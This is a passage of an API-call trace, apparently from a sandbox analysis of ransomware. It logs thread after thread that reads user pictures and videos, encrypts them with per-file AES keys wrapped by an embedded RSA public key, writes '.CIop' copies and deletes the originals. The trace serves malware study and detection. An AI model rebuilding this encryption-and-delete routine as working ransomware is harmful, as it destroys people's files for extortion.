iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\lmwumumstcomwqg.bmp")) returned 1 [0101.154] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0101.155] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0101.155] SetErrorMode (uMode=0x1) returned 0x1 [0101.155] CryptAcquireContextW (in: phProv=0x32be5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x32be5b8*=0x2f04ac8) returned 1 [0101.164] CryptGenKey (in: hProv=0x2f04ac8, Algid=0x1, dwFlags=0x4000, phKey=0x32be5bc | out: phKey=0x32be5bc*=0x6486f8) returned 1 [0101.240] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x32be5ec | out: pbData=0x0*, pdwDataLen=0x32be5ec*=0x94) returned 1 [0101.240] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3030000, pdwDataLen=0x32be5ec | out: pbData=0x3030000*, pdwDataLen=0x32be5ec*=0x94) returned 1 [0101.240] CryptDestroyKey (hKey=0x6486f8) returned 1 [0101.240] CryptReleaseContext (hProv=0x2f04ac8, dwFlags=0x0) returned 1 [0101.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\lmwumumstcomwqg.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e0 [0101.241] WriteFile (in: hFile=0x5e0, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x1042e, lpNumberOfBytesWritten=0x32be5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x32be5d8*=0x1042e, lpOverlapped=0x0) returned 1 [0101.242] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1042e [0101.243] WriteFile (in: hFile=0x5e0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x32be5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x32be5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.243] SetFilePointer (in: hFile=0x5e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10435 [0101.243] SetErrorMode (uMode=0x1) returned 0x1 [0101.243] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.243] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x32bd5b8, pcbBinary=0x32bd5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x32bd5b8, pcbBinary=0x32bd5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.243] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x32bd5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x32bd5a0, pcbStructInfo=0x32bd598 | out: pvStructInfo=0x32bd5a0, pcbStructInfo=0x32bd598) returned 1 [0101.243] CryptAcquireContextW (in: phProv=0x32bd5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x32bd5a8*=0x2f04578) returned 1 [0101.246] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04578, dwCertEncodingType=0x1, pInfo=0x64af70, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x32bd5b0 | out: phKey=0x32bd5b0*=0x6486f8) returned 1 [0101.246] CryptEncrypt (in: hKey=0x6486f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x32bd5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x32bd5b4*=0x80) returned 1 [0101.246] CryptEncrypt (in: hKey=0x6486f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f041c0*, pdwDataLen=0x32bd5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f041c0*, pdwDataLen=0x32bd5a4*=0x80) returned 1 [0101.246] WriteFile (in: hFile=0x5e0, lpBuffer=0x2f041c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32be5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f041c0*, lpNumberOfBytesWritten=0x32be5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.246] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.250] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.251] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.251] CloseHandle (hObject=0x5e0) returned 1 [0101.252] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\lMwuMumsTcOMWQg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\lmwumumstcomwqg.bmp")) returned 0 Thread: id = 173 os_tid = 0xcf8 [0101.272] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.272] lstrcpyW (in: lpString1=0x312f368, lpString2="uQNDwbW1Y.avi" | out: lpString1="uQNDwbW1Y.avi") returned="uQNDwbW1Y.avi" [0101.273] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.273] SetErrorMode (uMode=0x1) returned 0x1 [0101.273] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi") returned 43 [0101.273] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi", dwFileAttributes=0x20) returned 1 [0101.273] StrStrW (lpFirst="uQNDwbW1Y.avi", lpSrch=".CIop") returned 0x0 [0101.273] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi.CIop") returned 48 [0101.273] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uqndwbw1y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x548 [0101.274] ReadFile (in: hFile=0x548, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x10b59, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x312e5e8*=0x10b59, lpOverlapped=0x0) returned 1 [0101.275] CloseHandle (hObject=0x548) returned 1 [0101.275] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uqndwbw1y.avi")) returned 1 [0101.299] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.300] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.300] SetErrorMode (uMode=0x1) returned 0x1 [0101.300] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f04ac8) returned 1 [0101.316] CryptGenKey (in: hProv=0x2f04ac8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x648e78) returned 1 [0101.367] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.367] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.367] CryptDestroyKey (hKey=0x648e78) returned 1 [0101.367] CryptReleaseContext (hProv=0x2f04ac8, dwFlags=0x0) returned 1 [0101.367] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uqndwbw1y.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0101.367] WriteFile (in: hFile=0x514, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x10b59, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x312e5d8*=0x10b59, lpOverlapped=0x0) returned 1 [0101.369] SetFilePointer (in: hFile=0x514, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10b59 [0101.369] WriteFile (in: hFile=0x514, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.369] SetFilePointer (in: hFile=0x514, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10b60 [0101.369] SetErrorMode (uMode=0x1) returned 0x1 [0101.369] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.369] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.369] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0101.369] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f04930) returned 1 [0101.379] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04930, dwCertEncodingType=0x1, pInfo=0x649980, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x648e38) returned 1 [0101.379] CryptEncrypt (in: hKey=0x648e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0101.379] CryptEncrypt (in: hKey=0x648e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04ac8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04ac8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0101.379] WriteFile (in: hFile=0x514, lpBuffer=0x2f04ac8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04ac8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.379] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.380] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.380] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.380] CloseHandle (hObject=0x514) returned 1 [0101.431] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uQNDwbW1Y.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uqndwbw1y.avi")) returned 0 Thread: id = 174 os_tid = 0xcd0 [0101.402] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.402] lstrcpyW (in: lpString1=0x326f368, lpString2="IwWqYwDX1-Oo2.gif" | out: lpString1="IwWqYwDX1-Oo2.gif") returned="IwWqYwDX1-Oo2.gif" [0101.402] lstrcpyW (in: lpString1=0x326f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0101.402] SetErrorMode (uMode=0x1) returned 0x1 [0101.402] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif") returned 67 [0101.402] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif", dwFileAttributes=0x20) returned 1 [0101.429] StrStrW (lpFirst="IwWqYwDX1-Oo2.gif", lpSrch=".CIop") returned 0x0 [0101.429] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif.CIop") returned 72 [0101.429] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\iwwqywdx1-oo2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x380 [0101.430] ReadFile (in: hFile=0x380, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0xee88, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x326e5e8*=0xee88, lpOverlapped=0x0) returned 1 [0101.431] CloseHandle (hObject=0x380) returned 1 [0101.431] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\iwwqywdx1-oo2.gif")) returned 1 [0101.442] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.442] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.442] SetErrorMode (uMode=0x1) returned 0x1 [0101.442] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f04b50) returned 1 [0101.462] CryptGenKey (in: hProv=0x2f04b50, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x648e78) returned 1 [0101.531] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0101.531] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0101.531] CryptDestroyKey (hKey=0x648e78) returned 1 [0101.531] CryptReleaseContext (hProv=0x2f04b50, dwFlags=0x0) returned 1 [0101.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\iwwqywdx1-oo2.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0101.532] WriteFile (in: hFile=0x53c, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0xee88, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x326e5d8*=0xee88, lpOverlapped=0x0) returned 1 [0101.533] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xee88 [0101.534] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.534] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xee8f [0101.534] SetErrorMode (uMode=0x1) returned 0x1 [0101.534] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.534] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.534] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0101.534] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f04b50) returned 1 [0101.538] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04b50, dwCertEncodingType=0x1, pInfo=0x649a50, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x648fb8) returned 1 [0101.538] CryptEncrypt (in: hKey=0x648fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0101.538] CryptEncrypt (in: hKey=0x648fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04c60*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04c60*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0101.538] WriteFile (in: hFile=0x53c, lpBuffer=0x2f04c60*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04c60*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.538] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.538] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.539] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.539] CloseHandle (hObject=0x53c) returned 1 [0101.543] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\IwWqYwDX1-Oo2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\iwwqywdx1-oo2.gif")) returned 0 Thread: id = 175 os_tid = 0xcc8 [0101.493] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" 